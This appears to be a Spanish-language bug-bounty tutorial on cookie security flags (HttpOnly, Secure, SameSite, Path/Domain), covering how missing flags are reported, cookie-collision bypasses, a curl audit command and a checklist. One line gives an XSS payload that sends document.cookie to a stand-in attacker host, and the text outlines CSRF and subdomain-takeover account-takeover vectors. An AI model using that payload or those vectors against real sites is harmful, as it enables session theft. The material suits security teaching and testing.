Cookie flags — Secure, HttpOnly, SameSite y por qué importan

Respuesta rápida

Las flags de cookie controlan dónde y cómo se envía la cookie. Las cuatro críticas: HttpOnly bloquea acceso desde JavaScript (mitiga robo via XSS), Secure exige HTTPS (mitiga sniffing en redes públicas), SameSite controla cross-site (mitiga CSRF), Path/Domain acotan el scope. Cuando una cookie de sesión carece de cualquiera de las tres primeras, hay reporte si se demuestra el impacto.

Las cuatro flags y qué protege cada una

HttpOnly

Set-Cookie: sessionid=abc123; HttpOnly

La cookie no es accesible desde document.cookie. Si la app tiene un XSS, el atacante no puede leer la cookie y robarla — solo puede actuar dentro del contexto del usuario en esa pestaña (más limitado).

Sin HttpOnly + XSS: ATO directo via fetch('//attacker.tld?c=' + document.cookie).

Secure

Set-Cookie: sessionid=abc123; Secure

La cookie solo viaja en HTTPS. En HTTP, el browser no la envía.

Sin Secure: un MitM en red WiFi pública (cafetería, aeropuerto) puede leer la cookie de sesión. También cualquier downgrade a HTTP la expone.

SameSite

Set-Cookie: sessionid=abc123; SameSite=Strict
Set-Cookie: sessionid=abc123; SameSite=Lax       # default actual
Set-Cookie: sessionid=abc123; SameSite=None; Secure

Sin SameSite o con None: CSRF clásico funciona. Con Lax, CSRF en POST está bloqueado pero GET sigue cruzando — si una acción crítica acepta GET, sigue siendo explotable.

Path y Domain

Set-Cookie: admin=1; Path=/admin; Domain=app.tld

Acotan dónde se envía la cookie. Si configuras Domain=.tld (parent domain), la cookie cruza a todos los subdominios — peligroso si hay subdominios de baja confianza.

Cómo se reporta cada caso

"Falta HttpOnly" (low severity solo)

Sin demostrar XSS, es un finding de baja severidad o N/A. Se acepta más cuando:

• Demuestras XSS y muestras que sin HttpOnly el robo es trivial.
• La cookie es de sesión / auth, no telemetría.

"Falta Secure" (low / chained)

Más relevante si:

• La app sirve por HTTP en algún subdominio o legacy URL.
• El header Strict-Transport-Security está mal configurado o ausente.

"Falta SameSite" (medium / chained con CSRF)

Aquí sí hay impacto real. Reporta SIEMPRE con:

• PoC de CSRF funcional sobre un endpoint que cambia estado.
• Flujo completo: víctima → página atacante → request cross-site con cookie → cambio en la cuenta.

Sin PoC funcional, es solo "best practice missing" y se cierra como Informational.

Bypasses comunes en validación de cookies

Cookie collision (subdomain → main domain)

Si la cookie principal está en app.tld con Domain=app.tld y un atacante consigue setear una cookie con el mismo nombre desde evil.app.tld (subdominio comprometido), el browser puede enviar dos cookies con el mismo nombre y la app puede usar la equivocada.

__Host- y __Secure- prefix

Las cookies con prefix __Host- deben tener Secure, Path=/, sin Domain. Las __Secure- solo Secure. Si la app usa estos prefixes, hay protección extra contra cookie collision.

IDN / Unicode tricks

Subdominios con caracteres Unicode similares pueden setear cookies que el browser interpreta como del dominio padre en algunos navegadores (vector raro pero existe).

Auditoría rápida de cookies

# Inspeccionar cookies de un dominio
curl -sI https://target.tld/login | grep -i 'set-cookie'

# En Burp: pestaña Proxy > HTTP history > filtrar por Set-Cookie
# En DevTools: Application > Cookies > revisar cada flag

Para una cookie de sesión, deberías ver:

sessionid=...; HttpOnly; Secure; SameSite=Strict; Path=/

Si falta cualquiera de las tres flags principales en una cookie de auth o sesión, hay potencial reporte. El triage exigirá PoC de impacto real (XSS chain, MitM scenario, CSRF working).

Patrón: cookie con Domain=.tld y subdominio comprometido

Cookie: session=abc; Domain=.example.tld

Si cualquier subdominio (legacy.example.tld, static.example.tld) tiene un XSS o subdomain takeover, la cookie de sesión del dominio principal viaja a ese subdominio. Vector clásico de ATO via subdomain takeover en programas con mucho subdominio legacy.

Checklist

• ¿Las cookies de sesión tienen HttpOnly, Secure y SameSite?
• ¿Hay XSS o subdomain takeover que combinado con la cookie ausente lleve a ATO?
• ¿SameSite está en Lax y existe algún endpoint crítico que acepta GET?
• ¿Las cookies usan Domain=.tld (parent)? Si sí, ¿qué subdominios existen y son seguros?
• ¿Hay cookies con prefix __Host- o __Secure-? (señal de buena práctica).
• ¿Se invalidan las cookies en logout/server-side, o solo se borran del cliente?

Labs relacionados

Practica CSRF aprovechando SameSite mal configurado y combinaciones cookie + XSS: labs de cookies y session.